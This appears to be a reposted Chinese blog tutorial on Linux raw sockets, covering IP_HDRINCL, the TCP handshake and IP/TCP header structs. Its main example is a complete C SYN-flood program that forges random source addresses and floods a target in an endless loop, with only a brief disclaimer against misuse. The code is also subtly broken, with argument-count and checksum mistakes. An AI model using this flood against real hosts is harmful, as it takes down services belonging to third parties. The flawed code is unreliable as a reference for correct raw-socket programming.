1. 程式人生 > >Linux網路程式設計:原始套接字的魔力【上】

Linux網路程式設計:原始套接字的魔力【上】

原文:http://blog.chinaunix.net/uid-23069658-id-3280895.html

基於原始套接字程式設計

       在開發面向連線的TCP和麵向無連線的UDP程式時,我們所關心的核心問題在於資料收發層面,資料的傳輸特性由TCP或UDP來保證:

       也就是說,對於TCP或UDP的程式開發,焦點在Data欄位,我們沒法直接對TCP或UDP頭部欄位進行赤裸裸的修改,當然還有IP頭。換句話說,我們對它們頭部操作的空間非常受限,只能使用它們已經開放給我們的諸如源、目的IP,源、目的埠等等。

       今天我們討論一下原始套接字的程式開發,用它作為入門協議棧的進階跳板太合適不過了。OK閒話不多說,進入正題。

       原始套接字的建立方法也不難:socket(AF_INETSOCK_RAWprotocol)。

       重點在protocol欄位,這裡就不能簡單的將其值為0了。在標頭檔案netinet/in.h中定義了系統中該欄位目前能取的值,注意:有些系統中不一定實現了netinet/in.h中的所有協議。原始碼的linux/in.h中和netinet/in.h中的內容一樣。

       我們常見的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:開發自己的hook函式【實戰】(下)

”中我們見到該protocol欄位為IPPROTO_RAW時的情形,後面我們會詳細介紹。

       用這種方式我就可以得到原始的IP包了,然後就可以自定義IP所承載的具體協議型別,如TCP,UDP或ICMP,並手動對每種承載在IP協議之上的報文進行填充。接下來我們看個最著名的例子DOS攻擊的示例程式碼,以便大家更好的理解如何基於原始套接字手動去封裝我們所需要TCP報文。

       先簡單複習一下TCP報文的格式,因為我們本身不是講協議的設計思想,所以只會提及和我們接下來主題相關的欄位,如果想對TCP協議原理進行深入瞭解那麼《TCP/IP詳解卷1》無疑是最好的選擇。

       我們目前主要關注上面著色部分的欄位就OK了,接下來再看看TCP3次握手的過程。TCP的3次握手的一般流程是:

(1) 第一次握手:建立連線時,客戶端A傳送SYN包(SEQ_NUMBER=j)到伺服器B,並進入SYN_SEND狀態,等待伺服器B確認。

(2) 第二次握手:伺服器B收到SYN包,必須確認客戶A的SYN(ACK_NUMBER=j+1),同時自己也傳送一個SYN包(SEQ_NUMBER=k),即SYN+ACK包,此時伺服器B進入SYN_RECV狀態。

(3) 第三次握手:客戶端A收到伺服器B的SYN+ACK包,向伺服器B傳送確認包ACK(ACK_NUMBER=k+1),此包傳送完畢,客戶端A和伺服器B進入ESTABLISHED狀態,完成三次握手。

 至此3次握手結束,TCP通路就建立起來了,然後客戶端與伺服器開始互動資料。上面描述過程中,SYN包表示TCP資料包的標誌位syn=1,同理,ACK表示TCP報文中標誌位ack=1,SYN+ACK表示標誌位syn=1和ack=1同時成立。

原始套接字還提供了一個非常有用的引數IP_HDRINCL:

1、當開啟該引數時:我們可以從IP報文首部第一個位元組開始依次構造整個IP報文的所有選項,但是IP報文頭部中的標識欄位(設定為0時)和IP首部校驗和欄位總是由核心自己維護的,不需要我們關心。

2、如果不開啟該引數:我們所構造的報文是從IP首部之後的第一個位元組開始,IP首部由核心自己維護,首部中的協議欄位被設定成呼叫socket()函式時我們所傳遞給它的第三個引數。

 開啟IP_HDRINCL特性的模板程式碼一般為:

       const int on =1;

  if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){

printf("setsockopt error!\n");

  }

      所以,我們還得複習一下IP報文的首部格式:

 同樣,我們重點關注IP首部中的著色部分割槽段的填充情況。

       有了上面的知識做鋪墊,接下來DOS示例程式碼的編寫就相當簡單了。我們來體驗一下手動構造原生態IP報文的樂趣吧:

點選(此處)摺疊或開啟

  1. //mdos.c
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4. #include <errno.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <sys/socket.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <netinet/ip.h>
  12. #include <arpa/inet.h>
  13. #include <linux/tcp.h>
  14. //我們自己寫的攻擊函式
  15. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
  16. //如果什麼都讓核心做,那豈不是忒不爽了,咱也試著計算一下校驗和。
  17. unsigned short check_sum(unsigned short *addr,int len);
  18. int main(int argc,char** argv){
  19.         int skfd;
  20.         struct sockaddr_in target;
  21.         struct hostent *host;
  22.         const int on=1;
  23.         unsigned short srcport;
  24.         if(argc!=2)
  25.         {
  26.                 printf("Usage:%s target dstport srcport\n",argv[0]);
  27.                 exit(1);
  28.         }
  29.         bzero(&target,sizeof(struct sockaddr_in));
  30.         target.sin_family=AF_INET;
  31.         target.sin_port=htons(atoi(argv[2]));
  32.         if(inet_aton(argv[1],&target.sin_addr)==0)
  33.         {
  34.                 host=gethostbyname(argv[1]);
  35.                 if(host==NULL)
  36.                 {
  37.                         printf("TargetName Error:%s\n",hstrerror(h_errno));
  38.                         exit(1);
  39.                 }
  40.                 target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
  41.         }
  42.         //將協議欄位置為IPPROTO_TCP,來建立一個TCP的原始套接字
  43.         if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
  44.                 perror("Create Error");
  45.                 exit(1);
  46.         }
  47.         //用模板程式碼來開啟IP_HDRINCL特性,我們完全自己手動構造IP報文
  48.          if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
  49.                 perror("IP_HDRINCL failed");
  50.                 exit(1);
  51.         }
  52.         //因為只有root使用者才可以play with raw socket :)
  53.         setuid(getpid());
  54.         srcport = atoi(argv[3]);
  55.         attack(skfd,&target,srcport);
  56. }
  57. //在該函式中構造整個IP報文,最後呼叫sendto函式將報文傳送出去
  58. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
  59.         char buf[128]={0};
  60.         struct ip *ip;
  61.         struct tcphdr *tcp;
  62.         int ip_len;
  63.         //在我們TCP的報文中Data沒有欄位,所以整個IP報文的長度
  64.         ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
  65.         //開始填充IP首部
  66.         ip=(struct ip*)buf;
  67.         ip->ip_v = IPVERSION;
  68.         ip->ip_hl = sizeof(struct ip)>>2;
  69.         ip->ip_tos = 0;
  70.         ip->ip_len = htons(ip_len);
  71.         ip->ip_id=0;
  72.         ip->ip_off=0;
  73.         ip->ip_ttl=MAXTTL;
  74.         ip->ip_p=IPPROTO_TCP;
  75.         ip->ip_sum=0;
  76.         ip->ip_dst=target->sin_addr;
  77.         //開始填充TCP首部
  78.         tcp = (struct tcphdr*)(buf+sizeof(struct ip));
  79.         tcp->source = htons(srcport);
  80.         tcp->dest = target->sin_port;
  81.         tcp->seq = random();
  82.         tcp->doff = 5;
  83.         tcp->syn = 1;
  84.         tcp->check = 0;
  85.         while(1){
  86.                 //源地址偽造,我們隨便任意生成個地址,讓伺服器一直等待下去
  87.                 ip->ip_src.s_addr = random();
  88.                 tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
  89.                 sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
  90.         }
  91. }
  92. //關於CRC校驗和的計算,網上一大堆,我就“拿來主義”了
  93. unsigned short check_sum(unsigned short *addr,int len){
  94.         register int nleft=len;
  95.         register int sum=0;
  96.         register short *w=addr;
  97.         short answer=0;
  98.         while(nleft>1)
  99.         {
  100.                 sum+=*w++;
  101.                 nleft-=2;
  102.         }
  103.         if(nleft==1)
  104.         {
  105.                 *(unsigned char *)(&answer)=*(unsigned char *)w;
  106.                 sum+=answer;
  107.         }
  108.         sum=(sum>>16)+(sum&0xffff);
  109.         sum+=(sum>>16);
  110.         answer=~sum;
  111.         return(answer);
  112. }
       用前面我們自己編寫TCP伺服器端程式來做本地測試,看看效果。先把伺服器端程式啟動起來,如下:

       然後,我們編寫的“搗蛋”程式登場了:

       該“mdos”命令執行一段時間後,伺服器端的輸出如下:

       因為我們的源IP地址是隨機生成的,源埠固定為8888,伺服器端收到我們的SYN報文後,會為其分配一條連線資源,並將該連線的狀態置為SYN_RECV,然後給客戶端回送一個確認,並要求客戶端再次確認,可我們卻不再bird別個了,這樣就會造成服務端一直等待直到超時。

       備註:本程式僅供交流分享使用,不要做惡,不然後果自負哦。

       最後補充一點,看到很多新手經常對struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}糾結來糾結去了,不知道何時該用哪個。在/usr/include/netinet目錄這些結構所屬標頭檔案的定義,標頭檔案中對這些結構也做了很明確的說明,這裡我們簡單總結一下:

       struct ip{}、struct icmp{}是供BSD系統層使用,struct iphdr{}和struct icmphdr{}是在INET層呼叫。同理tcphdr和udphdr分別都已經和諧統一了,參見tcp.h和udp.h。

       BSD和INET的解釋在協議棧篇章詳細論述,這裡大家可以簡單這樣來理解:我們在使用者空間的編寫網路應用程式的層次就叫做BSD層。所以我們該用什麼樣的資料結構呢?良好的程式設計習慣當然是BSD層推薦我們使用的,struct ip{}、struct icmp{}。至於INET層的兩個同類型的結構體struct iphdr{}和struct icmphdr{}能用不?我只能說不建議。看個例子:

 我們可以看到無論BSD還是INET層的IP資料包結構體大小是相等的,ICMP報文的大小有差異。而我們知道ICMP報頭應該是8位元組,那麼BSD層為什麼是28位元組呢?留給大家思考。也就是說,我們這個mdos.c的例項程式中除了用struct ip{}之外還可以用INET層的struct iphdr{}結構。將如下程式碼:

點選(此處)摺疊或開啟

  1. struct ip *ip;

  2. ip=(struct ip*)buf;
  3. ip->ip_v = IPVERSION;
  4. ip->ip_hl = sizeof(struct ip)>>2;
  5. ip->ip_tos = 0;
  6. ip->ip_len = htons(ip_len);
  7. ip->ip_id=0;
  8. ip->ip_off=0;
  9. ip->ip_ttl=MAXTTL;
  10. ip->ip_p=IPPROTO_TCP;
  11. ip->ip_sum=0;
  12. ip->ip_dst=target->sin_addr;

  13. ip->ip_src.s_addr = random();
改成:

點選(此處)摺疊或開啟

  1. struct iphdr *ip;

  2. ip=(struct iphdr*)buf;
  3. ip->version = IPVERSION;
  4. ip->ihl = sizeof(struct ip)>>2;
  5. ip->tos = 0;
  6. ip->tot_len = htons(ip_len);
  7. ip->id=0;
  8. ip->frag_off=0;
  9. ip->ttl=MAXTTL;
  10. ip->protocol=IPPROTO_TCP;
  11. ip->check=0;
  12. ip->daddr=target->sin_addr.s_addr;

  13. ip->saddr = random();

       結果請童鞋們自己驗證。雖然結果一樣,但在BSD層直接使用INET層的資料結構還是不被推薦的。

       小結:

       1、IP_HDRINCL選項可以使我們控制到底是要從IP頭部第一個位元組開始構造我們的原始報文或者從IP頭部之後第一個資料位元組開始。

       2、只有超級使用者才能建立原始套接字。

       3、原始套接字上也可以呼叫connet、bind之類的函式,但都不常見。原因請大家回顧一下這兩個函式的作用。想不起來的童鞋回頭複習一下前兩篇的內容吧。